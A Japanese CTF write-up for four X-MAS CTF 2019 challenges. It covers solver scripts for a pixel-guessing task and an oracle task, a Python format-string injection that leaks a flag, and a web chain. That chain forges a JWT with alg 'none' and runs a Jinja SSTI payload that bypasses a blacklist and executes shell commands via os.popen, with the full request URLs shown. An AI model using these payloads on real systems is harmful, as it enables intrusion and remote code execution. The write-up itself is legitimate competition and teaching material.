X-MAS CTF 2019 writeup
X-MAS CTF 2019 にチーム ./Vespiary として参加しました。結果は 4051points で 42 位でした。日本チームでは1位でした。
https://xmas.htsp.ro/homexmas.htsp.ro
以下は自分が解いた問題のwriteupです。4問解いて内訳はmisc2, ppc1, web1です。
- [misc] FUNction Plotter (50 Points)
- [misc] SNT DCR SHP (50 Points)
- [ppc] Orakel (152 Points)
- [web] Mercenary Hat Factory (409 Points)
[misc] FUNction Plotter (50 Points)
問題概要
nc
でアクセスすると、
$ challs.xmas.htsp.ro 13005 Welcome to my guessing service! Can you guess all 961 values? f(28, 11)=
と聞かれます。適当な数字を答えると正誤判定が返ってきて、次のf(x, y)
が聞かれます。
解法
色々試してみると次のことがわかります。
- の はそれぞれ に属する。
- つまり、 通りの質問パターンがある。
- 各 の正答は と のいずれか。
- 各 の正答は固定であり、
nc
でアクセスするたびに変化することはない。
つまり、初出の質問パターンは適当に 0 or 1で答えるとその質問の正答がわかるのでそれをメモしつつ、答えていきます。
import socket import random import parse client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(("challs.xmas.htsp.ro", 13005)) FILE_NAME = "sample.txt" text = "" ts = [] def get(): global text x, y = -1, -1 while True: for line in text.splitlines(): if line.find("=") >= 0: (x, y) = parse.parse("f({:d}, {:d})=", line) return (x, y) try: s = client.recv(1024).decode("utf-8") print(s) if len(s) == 0: break text = text + s except socket.timeout: break exit(1) def answer(x, y, z, detected): global text, ts line = str(z) + "\n" print("<- " + line) client.send(line.encode('utf-8')) text = client.recv(1024).decode("utf-8") print(text) if (x, y, z) in ts: return ok = (text.splitlines()[0].find("Good") >= 0) if detected: assert ok return if not ok: z = 1-z ts.append((x, y, z)) with open(FILE_NAME, mode="a") as f: f.write("f({0}, {1})={2}\n".format(x, y, z)) if __name__ == "__main__": with open(FILE_NAME, mode="r") as f: lines = f.readlines() for line in lines: (x, y, z) = parse.parse("f({:d}, {:d})={:d}", line) ts.append((x, y, z)) for i in range(0, 1000): print("i: {}".format(i)) (x, y) = get() z = -1 detected = False for t in ts: if t[0] == x and t[1] == y: z = t[2] detected = True print("detected: ({}, {}, {})".format(x, y, z)) break if z < 0: z = random.randrange(2) answer(x, y, z, detected) get()
すべての答えに答えると
Great! You did it! Now what?
と言われて終了します。sample.txt
を見るとこんな感じ↓。
$ cat sample.txt | head f(14, 23)=1 f(3, 26)=1 f(3, 17)=1 f(19, 28)=1 f(27, 16)=1 f(24, 28)=0 f(2, 15)=1 f(25, 7)=1 f(0, 4)=0 f(18, 25)=1
とりあえず、y行目x文字目に相当する01を並べます。
0000000000000000000000000000000 0111111101001110011010011111110 0100000100110001000011010000010 0101110100010110110001010111010 0101110100000111101001010111010 0101110100101010000110010111010 0100000100010100010001010000010 0111111101010101010101011111110 0000000001011011000100000000000 0110110100111000100001010000010 0100000011100100110100111101010 0011110111011011100101010011000 0011011010111101011001101110110 0100010111101101000011110001000 0111101001000000100010111111000 0001001100001110100010011001010 0111011000101001100111011111110 0101001100000011010100001010010 0110100010001101001011111101000 0110101100101001101110001100110 0110101011000111000011111101000 0110010111000100111111111100100 0000000001110000110011000111110 0111111100000101111111010101000 0100000100010000011101000110010 0101110101100101110011111110000 0101110101010110101100101010010 0101110100010011101010001110110 0100000101010000010110110111010 0111111101110010100101011101000 0000000000000000000000000000000
エディタ上で文字を小さくしてみます。
完全に理解した。これを画像としてプロットします。
import parse from PIL import Image INPUT_FILE_NAME = "sample.txt" OUTPUT_FILE_NAME = "output.png" if __name__ == "__main__": ts = [] with open(INPUT_FILE_NAME, mode="r") as f: lines = f.readlines() for line in lines: (x, y, z) = parse.parse("f({:d}, {:d})={:d}", line) ts.append((x, y, z)) ts.sort() width = 31 height = 31 img = Image.new('RGBA', (width, height)) for y in range(0, height): for x in range(0, width): if ts[y*width + x][2] == 1: color = (0, 0, 0) else: color = (255, 255, 255) img.putpixel((x, y), color) img.save(OUTPUT_FILE_NAME)
読み取るとフラグが降ってきました。
フラグ
X-MAS{Th@t's_4_w31rD_fUnCt10n!!!_8082838205}
[misc] SNT DCR SHP (50 Points)
問題概要
nc
でアクセスすると、サンタさんが質問してきます。
$nc challs.xmas.htsp.ro 13001 ___ /` `'. / _..---; | /__..._/ .--.-. |.' e e | ___\_|/____ (_)'--.o.--| | | | .-( `-' = `-|____| |____| / ( |____ ____| | ( |_ | | __| | '-.--';/'/__ | | ( `| | '. \ )"";--`\ / \ ; |--' `;.-' |`-.__ ..-'--'`;..--'` SANTA's Decoration shop yay! 1. Add new decoration to the shopping list 2. View your shopping list 3. Ask Santa for a suggestion Your choice:
各1,2,3では次のことができます。
- ショップリストに (商品名, 個数) を追加
- 現在のショップリストの一覧を閲覧
- サーバ側のソースコードの閲覧
解法
サーバ側のソースコードが見れるので、コードリーディングをします。
import os, sys from secret import flag # -- snip -- class Decoration(object): def __init__(self, type, quantity): self.quantity = quantity self.type = type def print_decoration(self): print ('{0.quantity} x ... '+ self.type).format(self) # -- snip -- def add_item(): sys.stdout.write ("What item do you like to buy? ") sys.stdout.flush () type = sys.stdin.readline ().strip () sys.stdout.write ("How many of those? ") sys.stdout.flush () quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this items.append(Decoration(type, quantity)) print 'Thank you, your items will be added' # -- snip --
文字列展開されている
print ('{0.quantity} x ... '+ self.type).format(self)
で、importされたflag
をうまく出力するように商品をinjectionすれば良さそうです。
type
:{0.__init__.__globals__[flag]}
となるアイテムを追加すると、フラグが見れました。
$ nc challs.xmas.htsp.ro 13001 ___ /` `'. / _..---; | /__..._/ .--.-. |.' e e | ___\_|/____ (_)'--.o.--| | | | .-( `-' = `-|____| |____| / ( |____ ____| | ( |_ | | __| | '-.--';/'/__ | | ( `| | '. \ )"";--`\ / \ ; |--' `;.-' |`-.__ ..-'--'`;..--'` SANTA's Decoration shop yay! 1. Add new decoration to the shopping list 2. View your shopping list 3. Ask Santa for a suggestion Your choice: 1 What item do you like to buy? {0.__init__.__globals__[flag]} How many of those? 10 Thank you, your items will be added SANTA's Decoration shop yay! 1. Add new decoration to the shopping list 2. View your shopping list 3. Ask Santa for a suggestion Your choice: 2 10 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5} SANTA's Decoration shop yay! 1. Add new decoration to the shopping list 2. View your shopping list 3. Ask Santa for a suggestion Your choice:
フラグ
X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
[ppc] Orakel (152 Points)
問題概要
nc
でアクセスすると
$ nc challs.xmas.htsp.ro 13000 ,,,, ,########, ############ |############| ############ "########" """" |\___/| | " " | ~ ORAKEL ~ ,===__/( \ / )\__===, THE LAPLAND ORACLE / """ (") """ \ / " \ | \_____= =_____/ | ,==._/ /\ /^\ /\ \_.==, | _ __/" \ |] [| / "\__ _ | 555 """ | |] [| | """ 555 """""""""""""""""""###########"""""""""""""""""""""""""""""""""""""""""""" --- ,####### ,#############, ,######## ___ _________ -- #####################################" _____ _________ "###" #######################" ____ ___ _____ __ ---_____ "############# _ _________ ____ ______ ########## ______ _______ ____"## "## _________ ___ ________ _____ ___ ____ __ _________ _______ Hello child. > I will give you the True Flag you seek, but for that you must pass my test: I will think of a word of great length, known only by the gods that roam Lapland. You must guess which word I am thinking of, but only under a limited number of [1000] tries. In order to make this possible for you, I will tell you how close you are to my word through a number. The higher the number, the further you are from my word. If the number is 0, then you have found it. Good Luck. Tell me your guess:
と聞かれます。サーバ側で用意された文字列(以下、「正しい文字列」とします)を特定する問題です。
- 文字列は1000回まで答えることができる。
- 答えると、答えた文字列と正しい文字列の "近さ" が返ってくる。
- 一致した場合は、フラグが見れる。
- 正しい文字列は、サーバにアクセスするたびに変更される。
- 正しい文字列は、英小文字大文字のみで構成。
解法
- 文字列 に対する、正しい文字列との"近さ"を とします。
- となる を特定するのがこの問題です。
色々試すと、 について以下の性質が見えてきます。
- 文字列の長さに対して、下に狭義凸である:
-
- 各インデックスにおける文字に対して、下に狭義凸である:
-
- \begin{align}\text{ s.t. } & d(w_0\cdots w_{i-1}\textrm{a}w_{i+1}\cdots w_{|w|-1}) \\ & \gt d(w_0\cdots w_{i-1}\textrm{b}w_{i+1}\cdots w_{|w|-1}) \\ & \gt \cdots \\ & \gt d(w_0\cdots w_{i-1}jw_{i+1}\cdots w_{|w|-1}) \\ & \lt \cdots \\ & \lt d(w_0\cdots w_{i-1}\textrm{Z}w_{i+1}\cdots w_{|w|-1}) \end{align}
-
また、文字列の長さに対する の変化量は大きいので、次の戦略によって正しい文字列を特定することにした。
- まず文字列の長さを特定する。
- これは実験より85〜100程度だと推測できるので線形探索。
- 各インデックスについて、文字を特定する。
- 凸性より、三分探索が使える。
import socket import string INF = 10000000000 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(("challs.xmas.htsp.ro", 13000)) client.settimeout(1) while True: try: s = client.recv(1024).decode("utf-8") print(s) except socket.timeout: break client.settimeout(10) query_count = 0 dic = {} def query(x): global query_count if x in dic: return dic[x] print("<debug> query_count: {}".format(query_count)) query_count += 1 line = x + "\n" print("<- " + line) client.send(line.encode('utf-8')) result = -1 while result < 0: text = "" try: s = client.recv(1024).decode("utf-8") if len(s) == 0: break print(s) text += s for inputLine in text.splitlines(): if inputLine.find(": ") >= 0: y = inputLine.split(": ")[1] if y.isdecimal(): result = int(y) except socket.timeout: print("timeout!") break assert result >= 0 dic[x] = result return result def f(x, i, c): return x[:i] + c + x[i+1:] letters = string.ascii_uppercase + string.ascii_lowercase result = {} if __name__ == "__main__": lt = False gt = False minValue = INF minS = -1 for s in range(88, 93): x = "A"*s v = query(x) if minS < 0 and v < minValue: lt = True elif v > minValue: gt = True if v < minValue: minValue = v minS = s assert lt and gt, "The word may be too long. Try again!" st = "A"*minS for i in range(0, minS): l = 0 r = len(letters) - 1 lv = INF rv = INF while r-l>1: assert l < r x1 = (l*2 + r)//3 x2 = (l + r*2)//3 assert l < x1 or x2 < r k1 = f(st, i, letters[x1]) k2 = f(st, i, letters[x2]) v1 = query(k1) v2 = query(k2) if v1 < v2: if r == x2: r = x1 rv = v1 else: r = x2 rv = v2 else: if l == x1: l = x2 lv = v2 else: l = x1 lv = v1 if lv == INF: lv = query(f(st, i, letters[l])) if rv == INF: rv = query(f(st, i, letters[r])) c = l if lv < rv else r st = f(st, i, letters[c])
$ python solver.py | tail -n 20 Your number: 34 Tell me your guess: <debug> query_count: 989 <- QsBamiiGTzVegoWXLxbPjkbvjgGWYBrqreIhnuyKHDBBefWrxItGgpdjSCvSacwERziDsyQFqDqCLrgxtCdIxTpYvXY I tell you: 31 Tell me your guess: <debug> query_count: 990 <- QsBamiiGTzVegoWXLxbPjkbvjgGWYBrqreIhnuyKHDBBefWrxItGgpdjSCvSacwERziDsyQFqDqCLrgxtCdIxTpYvXf This is your number: 0 Masterfully done. Here is the True Flag: X-MAS{7hey_h4t3d_h1m_b3c4use_h3_sp0k3_th3_truth} <debug> query_count: 991 <- QsBamiiGTzVegoWXLxbPjkbvjgGWYBrqreIhnuyKHDBBefWrxItGgpdjSCvSacwERziDsyQFqDqCLrgxtCdIxTpYvXd
フラグ
X-MAS{7hey_h4t3d_h1m_b3c4use_h3_sp0k3_th3_truth}
[web] Mercenary Hat Factory (409 Points)
問題概要
Flask製のWebサービスとサーバのソースコードが与えられます。
解法
自分の解法は大きく3つのフェイズがあります。
- 認証の突破
- Server-Side Template Injection
- mp4の取得
フェイズ1: 認証の突破
JWTの改竄
ソースコードを見ると、ユーザの認証トークンにJWTが使われていることがわかります。
username
:test20test
password
:abcabcabc
でアカウントをつくるとCookieに
auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoidXNlciIsInVzZXIiOiJ0ZXN0MjB0ZXN0In0.TJjtCWhjzIYNRS-JMGMvWhCSPPP7nEtaDxpQYaSH1LA
がセットされます。jwt.ioでデコードすると
header:
{ "typ": "JWT", "alg": "HS256" }
payload:
{ "type": "user", "user": "test20test" }
です。ソースコードを見る限り、type: "admin"
に改竄できると嬉しいですが、単純に書き換えるだけだとJWTの検証に失敗します。
JWTへの攻撃手法はいくつか知られていますが、algをnoneにして検証を無視させるやつをやってみました。
- 参考: Hacking JSON Web Token (JWT) - 101-writeups - Medium の「2. Modify the algorithm to none」
上のCookieに対し、alg: "none"
でtype: "admin"
に改竄したものは
auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCJ9.
です。末尾の検証部分がなくなっているのが特徴です。
/authorize
サーバのauthorizeの処理は次のようになっています。
@app.route ('/authorize', methods=['POST']) def authorize (): token = request.cookies.get ("auth") if (token != None): try: userData = DecodeJWT (token) if (userData["type"] != "admin"): return render_template ("error.html", error = "Unauthorized.") uid = 1 hsh = hashlib.md5 (userData ["user"].encode ()).hexdigest () for c in hsh: if (c in "0123456789"): uid += int (c) step = int (request.args.get ("step")) if (step == 1): adminPrivileges [uid][0] = uid adminPrivileges [uid][1] = userData ["user"] adminPrivileges [uid][2] = request.form.get ('privilegeCode') resp = make_response (redirect ("/")) elif (step == 2): userpss = adminPrivileges [uid][2] # Is the user actually santa? uid = adminPrivileges [0][0] usr = adminPrivileges [0][1] pss = adminPrivileges [0][2] if (request.form.get ('accessCode') == str (uid) + usr + pss + userpss): authorizedAdmin [userData ["user"]] = True #os.system ("curl https://lapland.htsp.ro/adminauth") # Announce new admin authorization resp = make_response (redirect ("/")) else: resp = render_template ("error.html", error = "Access Code is incorrect.") else: resp = render_template ("error.html", error = "Unauthorized.") except: resp = render_template ("error.html", error = "Unknown Error.") else: resp = render_template ("error.html", error = "Unauthorized.") return resp
authorizedAdmin [userData ["user"]] = True
の処理で
authorizedAdmin ["test20test"] = True
とさせるのが目標です。
httpieでPOSTを飛ばします。
$ http -v --form POST http://challs.xmas.htsp.ro:11005/authorize?step=1 Cookie:auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCJ9. privilegeCode=priv
privilegeCode=priv
としました。これによって
adminPrivileges [uid][0] = uid # 83 adminPrivileges [uid][1] = userData ["user"] # "test20test" adminPrivileges [uid][2] = request.form.get ('privilegeCode') # "priv"
となります。ところで、adminPrivileges
の変数定義を見ると
adminPrivileges = [[None]*3]*500
とあって、安心感のあるバグが見つかります。よって
adminPrivileges [0][0] = uid # 83 adminPrivileges [0][1] = userData ["user"] # "test20test" adminPrivileges [0][2] = request.form.get ('privilegeCode') # "priv"
でもあります。これを踏まえると
accessCode=83test20testprivpriv
になることがわかるので、
$ http -v --form POST http://challs.xmas.htsp.ro:11005/authorize?step=2 Cookie:auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCJ9. accessCode=83test20testprivpriv
を飛ばすとauthorizeに成功します。
/makehat
サーバのmakehatの処理は次のようになっています。
@app.route ('/makehat', methods=['GET']) def makehat (): hatName = request.args.get ("hatName") token = request.cookies.get ("auth") blacklist = ["config", "self", "request", "[", "]", '"', "_", "+", " ", "join", "%", "%25"] if (hatName == None): return render_template ("error.html", error = "Your hat has no name!") for c in blacklist: if (c in hatName): return render_template ("error.html", error = "That's a hella weird Hat Name, maggot.") if (len (hatName.split (",")) > 2): return render_template ("error.html", error = "How many commas do you even want to have?") page = render_template ("hat.html", hat = random.randint (0, 9), hatName = hatName) if (token != None): userData = DecodeJWT (token) try: authorized = False if ((userData["user"] in authorizedAdmin) and (users[userData["user"]] == userData["pass"])): authorized = True # and what resp = render_template_string (page) else: resp = render_template ("error.html", error = "Unauthorized.") except: resp = render_template ("error.html", error = "Error in viewing hat.") else: resp = render_template ("error.html", error = "Unauthorized.") return resp
JWTのpayloadを{"type":"admin","user":"test20test","pass":"abcabcabc"}
に変更してCookieを少し書き換えます。
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCIsInBhc3MiOiJhYmNhYmNhYmMifQ.
cookieをセットしたあとに
にアクセスすると、hoge
の名前がmarqueeされた帽子のページが表示されます。
フェイズ2: Server-Side Template Injection
page = render_template ("hat.html", hat = random.randint (0, 9), hatName = hatName)
を見ると、hatName
の値をそのままテンプレートエンジンに流してWebページを生成しているようです。FlaskではJinjaが使われています。
JinjaのServer-Side Template Injectionができそうなので、やります。
ただし、入力文字列に対して次の制約があるので、これをbypassしつつinjectionをします。
- 次の文字列を含んではいけない:
- blacklist:
config
,self
,request
,[
,]
,"
,_
,+
,,
join
,%
,%25
- blacklist:
,
を2個以上含んではいけない
Jinjaのtemplate injectionについて参考になりそうなページがいくつかありました:
NGワードのblacklistが強すぎるので、ここに紹介されているものは直接利用できませんが、これらを参考に試行錯誤しました。
location.href = "http://challs.xmas.htsp.ro:11005/makehat?hatName=" + encodeURIComponent( "{{(g.get|attr('\\x5f\\x5fglobals\\x5f\\x5f')).get('\\x5f\\x5fbuiltins\\x5f\\x5f').eval('exec(\\'import\\x20os\\'),os.popen(\\'ls\\').read()')}}" )
見やすくすると
g.get.__globals__["__builtins__"].eval( "exec('import os'), os.popen('ls').read()" )
のようなことをやっています。任意コマンドが実行できるようになったので勝ちです。
上記のJavaScriptをブラウザで実行すると
(None, '__pycache__\nconfig.py\nserver.py\nstatic\ntemplates\nunusual_flag.mp4\n')
が返ってきます。
__pycache__
config.py
server.py
static
templates
unusual_flag.mp4
見なくてもいいですが、catでconfig.py
を見ると
import jwt, base64, json JWTSecret = "d12ic01n9diS0CDNWIC0diadscj12n9c1dsaocpsapda" SantaSecret = "aojaics9samiocdassacpodasidnpc1c1cw_sa-mi_bag_picioarele_ce_lung_e_secretu_asta" def DecodeB64 (inp): return base64.b64decode (inp + "==").decode ("utf-8").replace ("\\x00", "") def DecodeJWT (token): userData = {} try: userData = jwt.decode (token, JWTSecret, algorithm = \'HS256\') except: try: token = token.split (".") if (token[2] == ""): alg = json.loads (DecodeB64 (token[0])) if (alg["alg"].lower () == "none"): userData = json.loads (DecodeB64 (token[1])) except: pass return userData
でした。alg: "none"
のときだけ自前実装なのがわかります。
フェイズ3: mp4の取得
unusual_flag.mp4
にフラグが含まれているだろうと推測できます。一応file
コマンドで確認したらちゃんとmp4でした。
バイナリデータなのでcatでは情報が得られません。ファイル転送でもいいですが、めんどうなのでバイナリをdumpすることにしました。
location.href = "http://challs.xmas.htsp.ro:11005/makehat?hatName=" + encodeURIComponent( "{{(g.get|attr('\\x5f\\x5fglobals\\x5f\\x5f')).get('\\x5f\\x5fbuiltins\\x5f\\x5f').eval('exec(\\'import\\x20os\\'),os.popen(\\'od\\x20-xv\\x20unusual\\x5fflag.mp4\\').read()')}}" )
ブラウザからこれを実行すると、恐らくクラッシュするので代わりにhttpieから次を叩きます。
$ http GET "http://challs.xmas.htsp.ro:11005/makehat?hatName=%7B%7B(g.get%7Cattr('%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f')).get('%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f').eval('exec(%5C'import%5Cx20os%5C')%2Cos.popen(%5C'od%5Cx20-xv%5Cx20unusual%5Cx5fflag.mp4%5C').read()')%7D%7D" Cookie:auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCIsInBhc3MiOiJhYmNhYmNhYmMifQ. > output.txt
得られたoutput.txt
を編集してバイナリ部分だけを取り出します → od.txt
。
$ cat od.txt | head 0000000 0000 2000 7466 7079 7369 6d6f 0000 0002 0000020 7369 6d6f 7369 326f 7661 3163 706d 3134 0000040 0000 0800 7266 6565 2000 b794 646d 7461 0000060 0a27 2043 0204 0001 4080 1020 0408 0102 0000100 8000 2040 0810 0204 0001 4080 1020 0408 0000120 0102 8000 2040 0810 0204 0001 4080 1020 0000140 0408 9733 00d4 0000 0000 4f1f d3a7 f4e9 0000160 7dfa 9f3e a74f e9d3 faf4 3e7d 4f9f d3a7 0000200 f4e9 7dfa 9f3e a74f e9d3 faf4 3e7d 4f9f 0000220 d3a7 f4e9 7dfa 9f3e a74f e9d3 faf4 3e7d
これをバイナリデータに戻すスクリプトを適当に書いて実行します:
INPUT_FILE_NAME = "od.txt" OUTPUT_FILE_NAME = "unusual_flag.mp4" if __name__ == "__main__": ts = [] with open(INPUT_FILE_NAME, mode="r") as f: lines = f.readlines() for line in lines: ts.append("".join(line.split(" ")[1:]).strip()) bs = [] for t in ts: for _i in range(0, len(t)//2): i = _i^1 bs.append(int(t[i*2:i*2+2], base=16)) with open(OUTPUT_FILE_NAME, "wb") as f: f.write(bytearray(bs))
$ python make_binary.py
得られたunusual_flag.mp4
をメディアプレイヤーで見ると
フラグが書いてありました。
フラグ
X-MAS{W3lc0m3_70_7h3_h4t_f4ct0ry__w3ve_g0t_unusu4l_h4ts_90d81c091da}